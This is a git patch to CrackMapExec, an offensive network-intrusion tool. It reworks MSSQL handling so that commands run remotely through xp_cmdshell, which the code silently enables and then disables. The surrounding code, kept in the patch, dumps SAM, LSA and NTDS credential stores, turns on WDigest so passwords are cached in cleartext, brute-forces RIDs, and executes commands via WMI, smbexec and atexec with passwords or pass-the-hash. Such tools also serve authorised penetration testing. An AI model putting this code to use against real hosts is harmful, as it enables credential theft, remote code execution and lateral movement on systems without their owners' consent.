From c50ffb0f65349a0b32d3a99a696f64a7fa4b5a7f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 26 Jan 2016 21:23:03 -0700 Subject: [PATCH] - Re-Factored MSSQL support for better integration when executing commands and attacks (e.g. mimikatz, injection) - By default, the --mssql flag will enumerate db instances and will allow you to execute commands through xp_cmdshell - Made some logic changes on how/when connections are initiated --- core/executor.py | 78 +++++---- core/greenlets.py | 319 ++++++++++++++++++------------------ core/scripts/mssqlclient.py | 29 ++-- crackmapexec.py | 9 +- 4 files changed, 217 insertions(+), 218 deletions(-) diff --git a/core/executor.py b/core/executor.py index 65aaf6cd..0f6f32cf 100644 --- a/core/executor.py +++ b/core/executor.py @@ -1,6 +1,7 @@ from scripts.wmiexec import WMIEXEC from scripts.smbexec import SMBEXEC from scripts.atexec import TSCH_EXEC +from scripts.mssqlclient import SQLSHELL import settings @@ -8,44 +9,49 @@ class EXECUTOR: """Yes, I know this sounds like the pokemon... deal with it""" - def __init__(self, logger, command, host, domain, noOutput, smbconnection, method, user, passwd, ntlm_hash): + def __init__(self, logger, command, host, domain, noOutput, connection, method, user, passwd, ntlm_hash): + + if settings.args.mssql and str(connection).find('MSSQL') != -1: + sql_shell = SQLSHELL(connection, logger) + sql_shell.do_xp_cmdshell(command, noOutput) - if method == 'wmi': - wmi_exec = WMIEXEC(logger, - command, - user, - passwd, - domain, - ntlm_hash, - settings.args.aesKey, - settings.args.share, - noOutput, - settings.args.kerb) - wmi_exec.run(host, smbconnection) - - elif method == 'smbexec': - smb_exec = SMBEXEC(logger, - command, - '{}/SMB'.format(settings.args.port), - user, - passwd, - domain, - ntlm_hash, - settings.args.aesKey, - settings.args.kerb, - 'SHARE', - settings.args.share, - noOutput) - smb_exec.run(host) - - elif method == 'atexec': - atsvc_exec = TSCH_EXEC(logger, + else: + if method == 'wmi': + wmi_exec = WMIEXEC(logger, command, - user, + user, passwd, - domain, + domain, ntlm_hash, - settings.args.aesKey, - settings.args.kerb, + settings.args.aesKey, + settings.args.share, + noOutput, + settings.args.kerb) + wmi_exec.run(host, connection) + + elif method == 'smbexec': + smb_exec = SMBEXEC(logger, + command, + '{}/SMB'.format(settings.args.port), + user, + passwd, + domain, + ntlm_hash, + settings.args.aesKey, + settings.args.kerb, + 'SHARE', + settings.args.share, noOutput) - atsvc_exec.play(host) + smb_exec.run(host) + + elif method == 'atexec': + atsvc_exec = TSCH_EXEC(logger, + command, + user, + passwd, + domain, + ntlm_hash, + settings.args.aesKey, + settings.args.kerb, + noOutput) + atsvc_exec.play(host) diff --git a/core/greenlets.py b/core/greenlets.py index 9c9961fa..d52fe054 100644 --- a/core/greenlets.py +++ b/core/greenlets.py @@ -27,54 +27,12 @@ import traceback import socket import logging -def mssql_greenlet(host, server_name, domain): - - cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, - 'hostname': server_name, - 'port': settings.args.mssql_port, - 'service': 'MSSQL'}) - - try: - ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) - ms_sql.connect() - except socket.error as e: - if settings.args.verbose: print_error(str(e)) - return - - if settings.args.mssql_instance: - instances = ms_sql.getInstances(5) - if len(instances) == 0: - cme_logger.info("No MSSQL Instances found") - else: - cme_logger.success("Enumerating MSSQL instances") - for i, instance in enumerate(instances): - cme_logger.results("Instance {}".format(i)) - for key in instance.keys(): - cme_logger.results(key + ":" + instance[key]) - - if settings.args.mssql is not None: - ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger) - sql_shell = SQLSHELL(ms_sql, cme_logger) - - if settings.args.mssql != '': - sql_shell.onecmd(settings.args.mssql) - - if settings.args.enable_xpcmdshell: - sql_shell.onecmd('enable_xp_cmdshell') - - if settings.args.disable_xpcmdshell: - sql_shell.onecmd('disable_xp_cmdshell') - - if settings.args.xp_cmd: - sql_shell.onecmd("xp_cmdshell {}".format(settings.args.xp_cmd)) - - ms_sql.disconnect() - def main_greenlet(host): try: - smb = SMBConnection(host, host, None, settings.args.port) + #Get our IP from the socket + local_ip = smb.getSMBServer().get_socket().getsockname()[0] try: smb.login('' , '') except SessionError as e: @@ -95,9 +53,6 @@ def main_greenlet(host): cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain)) - if settings.args.mssql_instance or settings.args.mssql is not None: - mssql_greenlet(host, s_name, domain) - try: ''' DC's seem to want us to logoff first @@ -108,131 +63,171 @@ def main_greenlet(host): except NetBIOSError: pass except socket.error: - smb = SMBConnection(host, host, None, settings.args.port) + pass - if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file: + if settings.args.mssql: + cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, + 'hostname': s_name, + 'port': settings.args.mssql_port, + 'service': 'MSSQL'}) - smb, user, passwd, ntlm_hash, domain = smart_login(host, domain, smb, cme_logger) - #Get our IP from the socket - local_ip = smb.getSMBServer().get_socket().getsockname()[0] + #try: + ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) + ms_sql.connect() - if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: - rfs = RemoteFileSystem(host, smb, cme_logger) - if settings.args.delete: - rfs.delete() - if settings.args.download: - rfs.download() - if settings.args.upload: - rfs.upload() - if settings.args.list: - rfs.list() + instances = ms_sql.getInstances(5) + cme_logger.info("Found {} MSSQL instance(s)".format(len(instances))) + for i, instance in enumerate(instances): + cme_logger.results("Instance {}".format(i)) + for key in instance.keys(): + cme_logger.results(key + ":" + instance[key]) - if settings.args.enum_shares: - shares = SHAREDUMP(smb, cme_logger) - shares.dump(host) + try: + ms_sql.disconnect() + except: + pass - if settings.args.enum_users: - users = SAMRDump(cme_logger, - '{}/SMB'.format(settings.args.port), - user, - passwd, - domain, - ntlm_hash, - settings.args.aesKey, - settings.args.kerb) - users.dump(host) + #except socket.error as e: + # if settings.args.verbose: mssql_cme_logger.error(str(e)) - if settings.args.sam or settings.args.lsa or settings.args.ntds: - dumper = DumpSecrets(cme_logger, - 'logs/{}'.format(host), - smb, - settings.args.kerb) + if (settings.args.user and (settings.args.passwd or settings.args.hash)) or settings.args.combo_file: - dumper.do_remote_ops() - if settings.args.sam: - dumper.dump_SAM() - if settings.args.lsa: - dumper.dump_LSA() - if settings.args.ntds: - dumper.dump_NTDS(settings.args.ntds, - settings.args.ntds_history, - settings.args.ntds_pwdLastSet) - dumper.cleanup() + ms_sql = None + smb = None - if settings.args.pass_pol: - pass_pol = PassPolDump(cme_logger, - '{}/SMB'.format(settings.args.port), - user, - passwd, - domain, - ntlm_hash, - settings.args.aesKey, - settings.args.kerb) - pass_pol.dump(host) + if settings.args.mssql: + ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) + ms_sql.connect() + ms_sql, user, passwd, ntlm_hash, domain = smart_login(host, domain, ms_sql, cme_logger) + sql_shell = SQLSHELL(ms_sql, cme_logger) + else: + smb = SMBConnection(host, host, None, settings.args.port) + smb, user, passwd, ntlm_hash, domain = smart_login(host, domain, smb, cme_logger) - if settings.args.rid_brute: - lookup = LSALookupSid(cme_logger, - user, - passwd, - domain, - '{}/SMB'.format(settings.args.port), - ntlm_hash, - settings.args.rid_brute) - lookup.dump(host) + if ms_sql: + connection = ms_sql + if settings.args.mssql_query: + sql_shell.onecmd(settings.args.mssql_query) - if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: - rpc_query = RPCQUERY(cme_logger, - user, + if smb: + connection = smb + if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: + rfs = RemoteFileSystem(host, smb, cme_logger) + if settings.args.delete: + rfs.delete() + if settings.args.download: + rfs.download() + if settings.args.upload: + rfs.upload() + if settings.args.list: + rfs.list() + + if settings.args.enum_shares: + shares = SHAREDUMP(smb, cme_logger) + shares.dump(host) + + if settings.args.enum_users: + users = SAMRDump(cme_logger, + '{}/SMB'.format(settings.args.port), + user, passwd, domain, - ntlm_hash) + ntlm_hash, + settings.args.aesKey, + settings.args.kerb) + users.dump(host) - if settings.args.enum_sessions: - rpc_query.enum_sessions(host) - if settings.args.enum_disks: - rpc_query.enum_disks(host) - if settings.args.enum_lusers: - rpc_query.enum_lusers(host) + if settings.args.sam or settings.args.lsa or settings.args.ntds: + dumper = DumpSecrets(cme_logger, + 'logs/{}'.format(host), + smb, + settings.args.kerb) - if settings.args.spider: - smb_spider = SMBSPIDER(cme_logger, host, smb) - smb_spider.spider(settings.args.spider, settings.args.depth) - smb_spider.finish() + dumper.do_remote_ops() + if settings.args.sam: + dumper.dump_SAM() + if settings.args.lsa: + dumper.dump_LSA() + if settings.args.ntds: + dumper.dump_NTDS(settings.args.ntds, + settings.args.ntds_history, + settings.args.ntds_pwdLastSet) + dumper.cleanup() - if settings.args.wmi_query: - wmi_query = WMIQUERY(cme_logger, - user, + if settings.args.pass_pol: + pass_pol = PassPolDump(cme_logger, + '{}/SMB'.format(settings.args.port), + user, + passwd, domain, - passwd, - ntlm_hash, - settings.args.kerb, - settings.args.aesKey) + ntlm_hash, + settings.args.aesKey, + settings.args.kerb) + pass_pol.dump(host) - wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) + if settings.args.rid_brute: + lookup = LSALookupSid(cme_logger, + user, + passwd, + domain, + '{}/SMB'.format(settings.args.port), + ntlm_hash, + settings.args.rid_brute) + lookup.dump(host) - if settings.args.check_uac: - uac = UACdump(cme_logger, smb, settings.args.kerb) - uac.run() - - if settings.args.enable_wdigest or settings.args.disable_wdigest: - wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb) - if settings.args.enable_wdigest: - wdigest.enable() - elif settings.args.disable_wdigest: - wdigest.disable() - - if settings.args.service: - service_control = SVCCTL(cme_logger, + if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: + rpc_query = RPCQUERY(cme_logger, user, passwd, + domain, + ntlm_hash) + + if settings.args.enum_sessions: + rpc_query.enum_sessions(host) + if settings.args.enum_disks: + rpc_query.enum_disks(host) + if settings.args.enum_lusers: + rpc_query.enum_lusers(host) + + if settings.args.spider: + smb_spider = SMBSPIDER(cme_logger, host, smb) + smb_spider.spider(settings.args.spider, settings.args.depth) + smb_spider.finish() + + if settings.args.wmi_query: + wmi_query = WMIQUERY(cme_logger, + user, domain, - '{}/SMB'.format(settings.args.port), - settings.args.service, - settings.args.aesKey, - settings.args.kerb, + passwd, ntlm_hash, - settings.args) - service_control.run(host) + settings.args.kerb, + settings.args.aesKey) + + wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) + + if settings.args.check_uac: + uac = UACdump(cme_logger, smb, settings.args.kerb) + uac.run() + + if settings.args.enable_wdigest or settings.args.disable_wdigest: + wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb) + if settings.args.enable_wdigest: + wdigest.enable() + elif settings.args.disable_wdigest: + wdigest.disable() + + if settings.args.service: + service_control = SVCCTL(cme_logger, + user, + passwd, + domain, + '{}/SMB'.format(settings.args.port), + settings.args.service, + settings.args.aesKey, + settings.args.kerb, + ntlm_hash, + settings.args) + service_control.run(host) if settings.args.command: EXECUTOR(cme_logger, @@ -240,7 +235,7 @@ def main_greenlet(host): host, domain, settings.args.no_output, - smb, + connection, settings.args.execm, user, passwd, @@ -252,7 +247,7 @@ def main_greenlet(host): host, domain, settings.args.no_output, - smb, + connection, settings.args.execm, user, passwd, @@ -265,7 +260,7 @@ def main_greenlet(host): host, domain, True, - smb, + connection, settings.args.execm, user, passwd, @@ -278,7 +273,7 @@ def main_greenlet(host): host, domain, True, - smb, + connection, settings.args.execm, user, passwd, @@ -291,7 +286,7 @@ def main_greenlet(host): host, domain, True, - smb, + connection, settings.args.execm, user, passwd, @@ -306,7 +301,7 @@ def main_greenlet(host): host, domain, True, - smb, + connection, 'smbexec', user, passwd, @@ -320,7 +315,7 @@ def main_greenlet(host): host, domain, True, - smb, + connection, settings.args.execm, user, passwd, @@ -332,7 +327,7 @@ def main_greenlet(host): host, domain, True, - smb, + connection, settings.args.execm, user, passwd, @@ -344,16 +339,22 @@ def main_greenlet(host): host, domain, True, - smb, + connection, settings.args.execm, user, passwd, ntlm_hash) + try: smb.logoff() except: pass + try: + ms_sql.disconnect() + except: + pass + except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() diff --git a/core/scripts/mssqlclient.py b/core/scripts/mssqlclient.py index 5e077808..4d6d6fd2 100644 --- a/core/scripts/mssqlclient.py +++ b/core/scripts/mssqlclient.py @@ -76,14 +76,19 @@ class SQLSHELL(cmd.Cmd): def do_shell(self, s): os.system(s) - def do_xp_cmdshell(self, s): + def do_xp_cmdshell(self, s, noOutput=False): try: + self.do_enable_xp_cmdshell('') self.sql.sql_query("exec master..xp_cmdshell '%s'" % s) - self.sql.printReplies() - self.sql.colMeta[0]['TypeData'] = 80*2 - self.sql.printRows() + self.logger.success('Executed command via XP_CMDSHELL') + if noOutput is False: + self.sql.printReplies() + self.sql.colMeta[0]['TypeData'] = 80*2 + self.sql.printRows() + self.do_disable_xp_cmdshell('') except: - pass + if noOutput is True: + self.sql.printReplies() def do_lcd(self, s): if s == '': @@ -92,20 +97,10 @@ class SQLSHELL(cmd.Cmd): os.chdir(s) def do_enable_xp_cmdshell(self, line): - try: - self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") - self.sql.printReplies() - self.sql.printRows() - except: - pass + self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") def do_disable_xp_cmdshell(self, line): - try: - self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") - self.sql.printReplies() - self.sql.printRows() - except: - pass + self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") def default(self, line): try: diff --git a/crackmapexec.py b/crackmapexec.py index 9cea924f..e704e123 100755 --- a/crackmapexec.py +++ b/crackmapexec.py @@ -57,7 +57,7 @@ parser = argparse.ArgumentParser(description=""" version='{} - {}'.format(VERSION, CODENAME), epilog='Hut Hut! Wat Wat!') -parser.add_argument("target", nargs='*', type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets") +parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets") parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)") parser.add_argument("-u", metavar="USERNAME", dest='user', nargs='*', default=[], type=str, help="Username(s) or file(s) containing usernames") parser.add_argument("-p", metavar="PASSWORD", dest='passwd', nargs= '*', default=[], type=str, help="Password(s) or file(s) containing passwords") @@ -139,12 +139,9 @@ wgroup.add_argument("--start-name", metavar='NAME', help='Name of the account un wgroup.add_argument("--start-pass", metavar='PASS', help='Password of the account whose name was specified with the --start-name parameter') mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DB's") -mgroup.add_argument("--mssql", nargs='?', const='', metavar='QUERY', help='Authenticate with the provided credentials against the MSSQL service, optionally execute the specified query') +mgroup.add_argument("--mssql", action='store_true', help='Authenticate with the provided credentials against the MSSQL service') mgroup.add_argument("--mssql-port", default=1433, metavar='PORT', help='MSSQL service port (default: 1433)') -mgroup.add_argument("--mssql-instance", action='store_true', help='Enumerate the MSSQL intances on the target hosts') -mgroup.add_argument("--enable-xpcmdshell", action='store_true', help='Enable xp_cmdshell on target DB\'s') -mgroup.add_argument("--disable-xpcmdshell", action='store_true', help='Disable xp_cmdshell on target DB\'s') -mgroup.add_argument("--xp-cmd", metavar='COMMAND', help='Execute the specified command using xp_cmdshell') +mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB') if len(sys.argv) == 1: parser.print_help()